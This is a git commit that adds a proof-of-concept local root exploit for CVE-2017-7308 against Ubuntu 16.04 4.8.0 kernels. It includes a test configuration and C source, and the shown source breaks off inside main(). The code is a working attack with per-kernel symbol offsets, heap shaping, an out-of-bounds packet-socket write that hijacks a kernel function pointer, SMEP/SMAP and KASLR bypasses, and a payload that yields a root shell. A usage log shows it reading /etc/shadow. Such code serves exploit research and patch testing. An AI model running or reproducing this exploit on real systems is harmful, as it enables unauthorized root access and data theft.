Add CVE-2017-7308
This commit is contained in:
		
							
								
								
									
										10
									
								
								CVE-2017-7308/.out-of-tree.toml
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										10
									
								
								CVE-2017-7308/.out-of-tree.toml
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,10 @@ | ||||
| name = "CVE-2017-7308" | ||||
| type = "exploit" | ||||
|  | ||||
| [[supported_kernels]] | ||||
| distro_type = "Ubuntu" | ||||
| distro_release = "16.04" | ||||
| release_mask = "4.8.0-(34|36|39|41|42|44|45)-.*" | ||||
|  | ||||
| [qemu] | ||||
| cpus = 2 | ||||
							
								
								
									
										781
									
								
								CVE-2017-7308/CVE-2017-7308.c
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										781
									
								
								CVE-2017-7308/CVE-2017-7308.c
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,781 @@ | ||||
| // A proof-of-concept local root exploit for CVE-2017-7308. | ||||
| // Includes a SMEP & SMAP bypass. | ||||
| // Tested on Ubuntu / Linux Mint: | ||||
| // - 4.8.0-34-generic | ||||
| // - 4.8.0-36-generic | ||||
| // - 4.8.0-39-generic | ||||
| // - 4.8.0-41-generic | ||||
| // - 4.8.0-42-generic | ||||
| // - 4.8.0-44-generic | ||||
| // - 4.8.0-45-generic | ||||
| // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308 | ||||
| // | ||||
| // Usage: | ||||
| // user@ubuntu:~$ uname -a | ||||
| // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ... | ||||
| // user@ubuntu:~$ gcc pwn.c -o pwn | ||||
| // user@ubuntu:~$ ./pwn  | ||||
| // [.] starting | ||||
| // [.] system has 2 processors | ||||
| // [.] checking kernel version | ||||
| // [.] kernel version '4.8.0-41-generic' detected | ||||
| // [~] done, version looks good | ||||
| // [.] checking SMEP and SMAP | ||||
| // [~] done, looks good | ||||
| // [.] setting up namespace sandbox | ||||
| // [~] done, namespace sandbox set up | ||||
| // [.] KASLR bypass enabled, getting kernel addr | ||||
| // [.] done, kernel text:   ffffffff87000000 | ||||
| // [.] commit_creds:        ffffffff870a5cf0 | ||||
| // [.] prepare_kernel_cred: ffffffff870a60e0 | ||||
| // [.] native_write_cr4:    ffffffff87064210 | ||||
| // [.] padding heap | ||||
| // [.] done, heap is padded | ||||
| // [.] SMEP & SMAP bypass enabled, turning them off | ||||
| // [.] done, SMEP & SMAP should be off now | ||||
| // [.] executing get root payload 0x401516 | ||||
| // [.] done, should be root now | ||||
| // [.] checking if we got root | ||||
| // [+] got r00t ^_^ | ||||
| // root@ubuntu:/home/user# cat /etc/shadow | ||||
| // root:!:17246:0:99999:7::: | ||||
| // daemon:*:17212:0:99999:7::: | ||||
| // bin:*:17212:0:99999:7::: | ||||
| // ... | ||||
| // | ||||
| // Andrey Konovalov <andreyknvl@gmail.com> | ||||
| // --- | ||||
| // Updated by <bcoles@gmail.com> | ||||
| // - support for systems with SMEP but no SMAP | ||||
| // - check number of CPU cores | ||||
| // - additional kernel targets | ||||
| // - additional KASLR bypasses | ||||
| // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-7308 | ||||
|  | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #include <assert.h> | ||||
| #include <fcntl.h> | ||||
| #include <stdarg.h> | ||||
| #include <stdbool.h> | ||||
| #include <stddef.h> | ||||
| #include <stdint.h> | ||||
| #include <stdio.h> | ||||
| #include <stdlib.h> | ||||
| #include <string.h> | ||||
| #include <unistd.h> | ||||
| #include <sched.h> | ||||
|  | ||||
| #include <sys/ioctl.h> | ||||
| #include <sys/klog.h> | ||||
| #include <sys/mman.h> | ||||
| #include <sys/socket.h> | ||||
| #include <sys/syscall.h> | ||||
| #include <sys/sysinfo.h> | ||||
| #include <sys/types.h> | ||||
| #include <sys/utsname.h> | ||||
| #include <sys/wait.h> | ||||
|  | ||||
| #include <arpa/inet.h> | ||||
| #include <linux/if_packet.h> | ||||
| #include <linux/ip.h> | ||||
| #include <linux/udp.h> | ||||
| #include <netinet/if_ether.h> | ||||
| #include <net/if.h> | ||||
|  | ||||
| #define DEBUG | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #       define dprintf printf | ||||
| #else | ||||
| #       define dprintf | ||||
| #endif | ||||
|  | ||||
| #define ENABLE_KASLR_BYPASS		1 | ||||
| #define ENABLE_SMEP_SMAP_BYPASS		1 | ||||
|  | ||||
| char *SHELL = "/bin/bash"; | ||||
|  | ||||
| // Will be overwritten if ENABLE_KASLR_BYPASS | ||||
| unsigned long KERNEL_BASE = 		0xffffffff81000000ul; | ||||
|  | ||||
| // Will be overwritten by detect_versions(). | ||||
| int kernel = -1; | ||||
|  | ||||
| struct kernel_info { | ||||
| 	const char* version; | ||||
| 	uint64_t commit_creds; | ||||
| 	uint64_t prepare_kernel_cred; | ||||
| 	uint64_t native_write_cr4; | ||||
| }; | ||||
|  | ||||
| struct kernel_info kernels[] = { | ||||
| 	{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 }, | ||||
| 	{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 }, | ||||
| 	{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 }, | ||||
| 	{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 }, | ||||
| 	{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 }, | ||||
| 	{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 }, | ||||
| 	{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 }, | ||||
| }; | ||||
|  | ||||
| // Used to get root privileges. | ||||
| #define COMMIT_CREDS			(KERNEL_BASE + kernels[kernel].commit_creds) | ||||
| #define PREPARE_KERNEL_CRED		(KERNEL_BASE + kernels[kernel].prepare_kernel_cred) | ||||
| #define NATIVE_WRITE_CR4		(KERNEL_BASE + kernels[kernel].native_write_cr4) | ||||
|  | ||||
| // Will be overwritten if ENABLE_SMEP_SMAP_BYPASS | ||||
| unsigned long CR4_DESIRED_VALUE =	0x406e0ul; | ||||
|  | ||||
| #define KMALLOC_PAD			512 | ||||
| #define PAGEALLOC_PAD			1024 | ||||
|  | ||||
| // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * | ||||
|  | ||||
| typedef uint32_t u32; | ||||
|  | ||||
| // $ pahole -C hlist_node ./vmlinux | ||||
| struct hlist_node { | ||||
| 	struct hlist_node *        next;                 /*     0     8 */ | ||||
| 	struct hlist_node * *      pprev;                /*     8     8 */ | ||||
| }; | ||||
|  | ||||
| // $ pahole -C timer_list ./vmlinux | ||||
| struct timer_list { | ||||
| 	struct hlist_node          entry;                /*     0    16 */ | ||||
| 	long unsigned int          expires;              /*    16     8 */ | ||||
| 	void                       (*function)(long unsigned int); /*    24     8 */ | ||||
| 	long unsigned int          data;                 /*    32     8 */ | ||||
| 	u32                        flags;                /*    40     4 */ | ||||
| 	int                        start_pid;            /*    44     4 */ | ||||
| 	void *                     start_site;           /*    48     8 */ | ||||
| 	char                       start_comm[16];       /*    56    16 */ | ||||
| }; | ||||
|  | ||||
| // packet_sock->rx_ring->prb_bdqc->retire_blk_timer | ||||
| #define TIMER_OFFSET	896 | ||||
|  | ||||
| // pakcet_sock->xmit | ||||
| #define XMIT_OFFSET	1304 | ||||
|  | ||||
| // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * | ||||
|  | ||||
| void packet_socket_rx_ring_init(int s, unsigned int block_size, | ||||
| 		unsigned int frame_size, unsigned int block_nr, | ||||
| 		unsigned int sizeof_priv, unsigned int timeout) { | ||||
| 	int v = TPACKET_V3; | ||||
| 	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); | ||||
| 	if (rv < 0) { | ||||
| 		dprintf("[-] setsockopt(PACKET_VERSION)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	struct tpacket_req3 req; | ||||
| 	memset(&req, 0, sizeof(req)); | ||||
| 	req.tp_block_size = block_size; | ||||
| 	req.tp_frame_size = frame_size; | ||||
| 	req.tp_block_nr = block_nr; | ||||
| 	req.tp_frame_nr = (block_size * block_nr) / frame_size; | ||||
| 	req.tp_retire_blk_tov = timeout; | ||||
| 	req.tp_sizeof_priv = sizeof_priv; | ||||
| 	req.tp_feature_req_word = 0; | ||||
|  | ||||
| 	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); | ||||
| 	if (rv < 0) { | ||||
| 		dprintf("[-] setsockopt(PACKET_RX_RING)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
| } | ||||
|  | ||||
| int packet_socket_setup(unsigned int block_size, unsigned int frame_size, | ||||
| 		unsigned int block_nr, unsigned int sizeof_priv, int timeout) { | ||||
| 	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); | ||||
| 	if (s < 0) { | ||||
| 		dprintf("[-] socket(AF_PACKET)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, | ||||
| 		sizeof_priv, timeout); | ||||
|  | ||||
| 	struct sockaddr_ll sa; | ||||
| 	memset(&sa, 0, sizeof(sa)); | ||||
| 	sa.sll_family = PF_PACKET; | ||||
| 	sa.sll_protocol = htons(ETH_P_ALL); | ||||
| 	sa.sll_ifindex = if_nametoindex("lo"); | ||||
| 	sa.sll_hatype = 0; | ||||
| 	sa.sll_pkttype = 0; | ||||
| 	sa.sll_halen = 0; | ||||
|  | ||||
| 	int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); | ||||
| 	if (rv < 0) { | ||||
| 		dprintf("[-] bind(AF_PACKET)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	return s; | ||||
| } | ||||
|  | ||||
| void packet_socket_send(int s, char *buffer, int size) { | ||||
| 	struct sockaddr_ll sa; | ||||
| 	memset(&sa, 0, sizeof(sa)); | ||||
| 	sa.sll_ifindex = if_nametoindex("lo"); | ||||
| 	sa.sll_halen = ETH_ALEN; | ||||
|  | ||||
| 	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, | ||||
| 			sizeof(sa)) < 0) { | ||||
| 		dprintf("[-] sendto(SOCK_RAW)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
| } | ||||
|  | ||||
| void loopback_send(char *buffer, int size) { | ||||
| 	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); | ||||
| 	if (s == -1) { | ||||
| 		dprintf("[-] socket(SOCK_RAW)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	packet_socket_send(s, buffer, size); | ||||
| } | ||||
|  | ||||
| int packet_sock_kmalloc() { | ||||
| 	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); | ||||
| 	if (s == -1) { | ||||
| 		dprintf("[-] socket(SOCK_DGRAM)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
| 	return s; | ||||
| } | ||||
|  | ||||
| void packet_sock_timer_schedule(int s, int timeout) { | ||||
| 	packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); | ||||
| } | ||||
|  | ||||
| void packet_sock_id_match_trigger(int s) { | ||||
| 	char buffer[16]; | ||||
| 	packet_socket_send(s, &buffer[0], sizeof(buffer)); | ||||
| } | ||||
|  | ||||
| // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * | ||||
|  | ||||
| #define ALIGN(x, a)			__ALIGN_KERNEL((x), (a)) | ||||
| #define __ALIGN_KERNEL(x, a)		__ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) | ||||
| #define __ALIGN_KERNEL_MASK(x, mask)	(((x) + (mask)) & ~(mask)) | ||||
|  | ||||
| #define V3_ALIGNMENT	(8) | ||||
| #define BLK_HDR_LEN	(ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) | ||||
|  | ||||
| #define ETH_HDR_LEN	sizeof(struct ethhdr) | ||||
| #define IP_HDR_LEN	sizeof(struct iphdr) | ||||
| #define UDP_HDR_LEN	sizeof(struct udphdr) | ||||
|  | ||||
| #define UDP_HDR_LEN_FULL	(ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) | ||||
|  | ||||
| int oob_setup(int offset) { | ||||
| 	unsigned int maclen = ETH_HDR_LEN; | ||||
| 	unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + | ||||
| 				(maclen < 16 ? 16 : maclen)); | ||||
| 	unsigned int macoff = netoff - maclen; | ||||
| 	unsigned int sizeof_priv = (1u<<31) + (1u<<30) + | ||||
| 		0x8000 - BLK_HDR_LEN - macoff + offset; | ||||
| 	return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); | ||||
| } | ||||
|  | ||||
| void oob_write(char *buffer, int size) { | ||||
| 	loopback_send(buffer, size); | ||||
| } | ||||
|  | ||||
| void oob_timer_execute(void *func, unsigned long arg) { | ||||
| 	oob_setup(2048 + TIMER_OFFSET - 8); | ||||
|  | ||||
| 	int i; | ||||
| 	for (i = 0; i < 32; i++) { | ||||
| 		int timer = packet_sock_kmalloc(); | ||||
| 		packet_sock_timer_schedule(timer, 1000); | ||||
| 	} | ||||
|  | ||||
| 	char buffer[2048]; | ||||
| 	memset(&buffer[0], 0, sizeof(buffer)); | ||||
|  | ||||
| 	struct timer_list *timer = (struct timer_list *)&buffer[8]; | ||||
| 	timer->function = func; | ||||
| 	timer->data = arg; | ||||
| 	timer->flags = 1; | ||||
|  | ||||
| 	oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); | ||||
|  | ||||
| 	sleep(1); | ||||
| } | ||||
|  | ||||
| void oob_id_match_execute(void *func) { | ||||
| 	int s = oob_setup(2048 + XMIT_OFFSET - 64); | ||||
|  | ||||
| 	int ps[32]; | ||||
|  | ||||
| 	int i; | ||||
| 	for (i = 0; i < 32; i++) | ||||
| 		ps[i] = packet_sock_kmalloc(); | ||||
|  | ||||
| 	char buffer[2048]; | ||||
| 	memset(&buffer[0], 0, 2048); | ||||
|  | ||||
| 	void **xmit = (void **)&buffer[64]; | ||||
| 	*xmit = func; | ||||
|  | ||||
| 	oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2); | ||||
|  | ||||
| 	for (i = 0; i < 32; i++) | ||||
| 		packet_sock_id_match_trigger(ps[i]); | ||||
| } | ||||
|  | ||||
| // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * | ||||
|  | ||||
| void kmalloc_pad(int count) { | ||||
| 	int i; | ||||
| 	for (i = 0; i < count; i++) | ||||
| 		packet_sock_kmalloc(); | ||||
| } | ||||
|  | ||||
| void pagealloc_pad(int count) { | ||||
| 	packet_socket_setup(0x8000, 2048, count, 0, 100); | ||||
| } | ||||
|  | ||||
| // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * | ||||
|  | ||||
| typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); | ||||
| typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); | ||||
|  | ||||
| void get_root_payload(void) { | ||||
| 	((_commit_creds)(COMMIT_CREDS))( | ||||
| 		((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0) | ||||
| 	); | ||||
| } | ||||
|  | ||||
| // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * | ||||
|  | ||||
| #define CHUNK_SIZE 1024 | ||||
|  | ||||
| int read_file(const char* file, char* buffer, int max_length) { | ||||
| 	int f = open(file, O_RDONLY); | ||||
| 	if (f == -1) | ||||
| 		return -1; | ||||
| 	int bytes_read = 0; | ||||
| 	while (true) { | ||||
| 		int bytes_to_read = CHUNK_SIZE; | ||||
| 		if (bytes_to_read > max_length - bytes_read) | ||||
| 			bytes_to_read = max_length - bytes_read; | ||||
| 		int rv = read(f, &buffer[bytes_read], bytes_to_read); | ||||
| 		if (rv == -1) | ||||
| 			return -1; | ||||
| 		bytes_read += rv; | ||||
| 		if (rv == 0) | ||||
| 			return bytes_read; | ||||
| 	} | ||||
| } | ||||
|  | ||||
| void get_kernel_version(char* output, int max_length) { | ||||
|         struct utsname u; | ||||
|         int rv = uname(&u); | ||||
|         if (rv != 0) { | ||||
|                 dprintf("[-] uname())\n"); | ||||
|                 exit(EXIT_FAILURE); | ||||
|         } | ||||
|         assert(strlen(u.release) <= max_length); | ||||
|         strcpy(&output[0], u.release); | ||||
| } | ||||
|  | ||||
| #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) | ||||
|  | ||||
| #define KERNEL_VERSION_LENGTH 32 | ||||
|  | ||||
| void detect_versions() { | ||||
| 	char version[KERNEL_VERSION_LENGTH]; | ||||
|  | ||||
| 	get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); | ||||
|  | ||||
| 	int i; | ||||
| 	for (i = 0; i < ARRAY_SIZE(kernels); i++) { | ||||
| 		if (strcmp(&version[0], kernels[i].version) == 0) { | ||||
| 			dprintf("[.] kernel version '%s' detected\n", kernels[i].version); | ||||
| 			kernel = i; | ||||
| 			return; | ||||
| 		} | ||||
| 	} | ||||
|  | ||||
| 	dprintf("[-] kernel version not recognized\n"); | ||||
| 	exit(EXIT_FAILURE); | ||||
| } | ||||
|  | ||||
| #define PROC_CPUINFO_LENGTH 4096 | ||||
|  | ||||
| // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP | ||||
| int smap_smep_enabled() { | ||||
| 	char buffer[PROC_CPUINFO_LENGTH]; | ||||
| 	char* path = "/proc/cpuinfo"; | ||||
| 	int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH); | ||||
| 	if (length == -1) { | ||||
| 		dprintf("[-] open/read(%s)\n", path); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	int rv = 0; | ||||
| 	char* found = memmem(&buffer[0], length, "smep", 4); | ||||
| 	if (found != NULL) | ||||
| 		rv += 1; | ||||
| 	found = memmem(&buffer[0], length, "smap", 4); | ||||
| 	if (found != NULL) | ||||
| 		rv += 2; | ||||
| 	return rv; | ||||
| } | ||||
|  | ||||
| void check_smep_smap() { | ||||
| 	int rv = smap_smep_enabled(); | ||||
|  | ||||
| #if !ENABLE_SMEP_SMAP_BYPASS | ||||
| 	if (rv >= 1) { | ||||
| 		dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
| #endif | ||||
|  | ||||
| 	switch(rv) { | ||||
| 	case 1: // SMEP | ||||
| 		CR4_DESIRED_VALUE = 0x406e0ul; | ||||
| 		break; | ||||
| 	case 2: // SMAP | ||||
| 		CR4_DESIRED_VALUE = 0x407f0ul; | ||||
| 		break; | ||||
| 	case 3: // SMEP and SMAP | ||||
| 		CR4_DESIRED_VALUE = 0x407f0ul; | ||||
| 		break; | ||||
| 	} | ||||
| } | ||||
|  | ||||
| // * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * * | ||||
|  | ||||
| #define SYSLOG_ACTION_READ_ALL 3 | ||||
| #define SYSLOG_ACTION_SIZE_BUFFER 10 | ||||
|  | ||||
| unsigned long get_kernel_addr_syslog() { | ||||
| 	dprintf("[.] trying syslog...\n"); | ||||
|  | ||||
| 	int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); | ||||
| 	if (size == -1) { | ||||
| 		dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	size = (size / getpagesize() + 1) * getpagesize(); | ||||
| 	char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE, | ||||
| 		MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | ||||
|  | ||||
| 	size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size); | ||||
| 	if (size == -1) { | ||||
| 		dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	const char *needle1 = "Freeing SMP"; | ||||
| 	char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1)); | ||||
| 	if (substr == NULL) { | ||||
| 		dprintf("[-] substring '%s' not found in dmesg\n", needle1); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	for (size = 0; substr[size] != '\n'; size++); | ||||
|  | ||||
| 	const char *needle2 = "ffff"; | ||||
| 	substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2)); | ||||
| 	if (substr == NULL) { | ||||
| 		dprintf("[-] substring '%s' not found in dmesg\n", needle2); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	char *endptr = &substr[16]; | ||||
| 	unsigned long r = strtoul(&substr[0], &endptr, 16); | ||||
|  | ||||
| 	r &= 0xfffffffffff00000ul; | ||||
| 	r -= 0x1000000ul; | ||||
|  | ||||
| 	return r; | ||||
| } | ||||
|  | ||||
| // * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * | ||||
|  | ||||
| unsigned long get_kernel_addr_kallsyms() { | ||||
| 	FILE *f; | ||||
| 	unsigned long addr = 0; | ||||
| 	char dummy; | ||||
| 	char sname[256]; | ||||
| 	char* name = "startup_64"; | ||||
| 	char* path = "/proc/kallsyms"; | ||||
|  | ||||
| 	dprintf("[.] trying %s...\n", path); | ||||
| 	f = fopen(path, "r"); | ||||
| 	if (f == NULL) { | ||||
| 		dprintf("[-] open/read(%s)\n", path); | ||||
| 		return 0; | ||||
| 	} | ||||
|  | ||||
| 	int ret = 0; | ||||
| 	while (ret != EOF) { | ||||
| 		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); | ||||
| 		if (ret == 0) { | ||||
| 			fscanf(f, "%s\n", sname); | ||||
| 			continue; | ||||
| 		} | ||||
| 		if (!strcmp(name, sname)) { | ||||
| 			fclose(f); | ||||
| 			return addr; | ||||
| 		} | ||||
| 	} | ||||
|  | ||||
| 	fclose(f); | ||||
| 	dprintf("[-] kernel base not found in %s\n", path); | ||||
| 	return 0; | ||||
| } | ||||
|  | ||||
| // * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * | ||||
|  | ||||
| unsigned long get_kernel_addr_sysmap() { | ||||
| 	FILE *f; | ||||
| 	unsigned long addr = 0; | ||||
| 	char path[512] = "/boot/System.map-"; | ||||
| 	char version[32]; | ||||
| 	get_kernel_version(&version[0], 32); | ||||
| 	strcat(path, &version[0]); | ||||
| 	dprintf("[.] trying %s...\n", path); | ||||
| 	f = fopen(path, "r"); | ||||
| 	if (f == NULL) { | ||||
| 		dprintf("[-] open/read(%s)\n", path); | ||||
| 		return 0; | ||||
| 	} | ||||
|  | ||||
| 	char dummy; | ||||
| 	char sname[256]; | ||||
| 	char* name = "startup_64"; | ||||
| 	int ret = 0; | ||||
| 	while (ret != EOF) { | ||||
| 		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); | ||||
| 		if (ret == 0) { | ||||
| 			fscanf(f, "%s\n", sname); | ||||
| 			continue; | ||||
| 		} | ||||
| 		if (!strcmp(name, sname)) { | ||||
| 			fclose(f); | ||||
| 			return addr; | ||||
| 		} | ||||
| 	} | ||||
|  | ||||
| 	fclose(f); | ||||
| 	dprintf("[-] kernel base not found in %s\n", path); | ||||
| 	return 0; | ||||
| } | ||||
|  | ||||
| // * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * | ||||
|  | ||||
| unsigned long get_kernel_addr() { | ||||
| 	unsigned long addr = 0; | ||||
|  | ||||
| 	addr = get_kernel_addr_kallsyms(); | ||||
|         if (addr) return addr; | ||||
|  | ||||
| 	addr = get_kernel_addr_sysmap(); | ||||
| 	if (addr) return addr; | ||||
|  | ||||
| 	addr = get_kernel_addr_syslog(); | ||||
| 	if (addr) return addr; | ||||
|  | ||||
| 	dprintf("[-] KASLR bypass failed\n"); | ||||
| 	exit(EXIT_FAILURE); | ||||
|  | ||||
| 	return 0; | ||||
| } | ||||
|  | ||||
| // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * | ||||
|  | ||||
| void check_procs() { | ||||
| 	int min_procs = 2; | ||||
|  | ||||
| 	int nprocs = 0; | ||||
| 	nprocs = get_nprocs_conf(); | ||||
|  | ||||
| 	if (nprocs < min_procs) { | ||||
| 		dprintf("[-] system has less than %d processor cores\n", min_procs); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	dprintf("[.] system has %d processors\n", nprocs); | ||||
| } | ||||
|  | ||||
| void exec_shell() { | ||||
| 	int fd; | ||||
|  | ||||
| 	fd = open("/proc/1/ns/net", O_RDONLY); | ||||
| 	if (fd == -1) { | ||||
| 		dprintf("error opening /proc/1/ns/net\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	if (setns(fd, CLONE_NEWNET) == -1) { | ||||
| 		dprintf("error calling setns\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	system(SHELL); | ||||
| } | ||||
|  | ||||
| void fork_shell() { | ||||
| 	pid_t rv; | ||||
|  | ||||
| 	rv = fork(); | ||||
| 	if (rv == -1) { | ||||
| 		dprintf("[-] fork()\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	if (rv == 0) { | ||||
| 		exec_shell(); | ||||
| 	} | ||||
| } | ||||
|  | ||||
| bool is_root() { | ||||
| 	// We can't simple check uid, since we're running inside a namespace | ||||
| 	// with uid set to 0. Try opening /etc/shadow instead. | ||||
| 	int fd = open("/etc/shadow", O_RDONLY); | ||||
| 	if (fd == -1) | ||||
| 		return false; | ||||
| 	close(fd); | ||||
| 	return true; | ||||
| } | ||||
|  | ||||
| void check_root() { | ||||
| 	dprintf("[.] checking if we got root\n"); | ||||
|  | ||||
| 	if (!is_root()) { | ||||
| 		dprintf("[-] something went wrong =(\n"); | ||||
| 		return; | ||||
| 	} | ||||
|  | ||||
| 	dprintf("[+] got r00t ^_^\n"); | ||||
|  | ||||
| 	// Fork and exec instead of just doing the exec to avoid potential | ||||
| 	// memory corruptions when closing packet sockets. | ||||
| 	fork_shell(); | ||||
| } | ||||
|  | ||||
| bool write_file(const char* file, const char* what, ...) { | ||||
| 	char buf[1024]; | ||||
| 	va_list args; | ||||
| 	va_start(args, what); | ||||
| 	vsnprintf(buf, sizeof(buf), what, args); | ||||
| 	va_end(args); | ||||
| 	buf[sizeof(buf) - 1] = 0; | ||||
| 	int len = strlen(buf); | ||||
|  | ||||
| 	int fd = open(file, O_WRONLY | O_CLOEXEC); | ||||
| 	if (fd == -1) | ||||
| 		return false; | ||||
| 	if (write(fd, buf, len) != len) { | ||||
| 		close(fd); | ||||
| 		return false; | ||||
| 	} | ||||
| 	close(fd); | ||||
| 	return true; | ||||
| } | ||||
|  | ||||
| void setup_sandbox() { | ||||
| 	int real_uid = getuid(); | ||||
| 	int real_gid = getgid(); | ||||
|  | ||||
|         if (unshare(CLONE_NEWUSER) != 0) { | ||||
| 		dprintf("[-] unshare(CLONE_NEWUSER)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
|         if (unshare(CLONE_NEWNET) != 0) { | ||||
| 		dprintf("[-] unshare(CLONE_NEWUSER)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	if (!write_file("/proc/self/setgroups", "deny")) { | ||||
| 		dprintf("[-] write_file(/proc/self/set_groups)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
| 	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ | ||||
| 		dprintf("[-] write_file(/proc/self/uid_map)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
| 	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { | ||||
| 		dprintf("[-] write_file(/proc/self/gid_map)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	cpu_set_t my_set; | ||||
| 	CPU_ZERO(&my_set); | ||||
| 	CPU_SET(0, &my_set); | ||||
| 	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { | ||||
| 		dprintf("[-] sched_setaffinity()\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
|  | ||||
| 	if (system("/sbin/ifconfig lo up") != 0) { | ||||
| 		dprintf("[-] system(/sbin/ifconfig lo up)\n"); | ||||
| 		exit(EXIT_FAILURE); | ||||
| 	} | ||||
| } | ||||
|  | ||||
| int main(int argc, char *argv[]) { | ||||
| 	if (argc > 1) SHELL = argv[1]; | ||||
|  | ||||
| 	dprintf("[.] starting\n"); | ||||
|  | ||||
| 	check_procs(); | ||||
|  | ||||
| 	dprintf("[.] checking kernel version\n"); | ||||
| 	detect_versions(); | ||||
| 	dprintf("[~] done, version looks good\n"); | ||||
|  | ||||
| 	dprintf("[.] checking SMEP and SMAP\n"); | ||||
| 	check_smep_smap(); | ||||
| 	dprintf("[~] done, looks good\n"); | ||||
|  | ||||
| 	dprintf("[.] setting up namespace sandbox\n"); | ||||
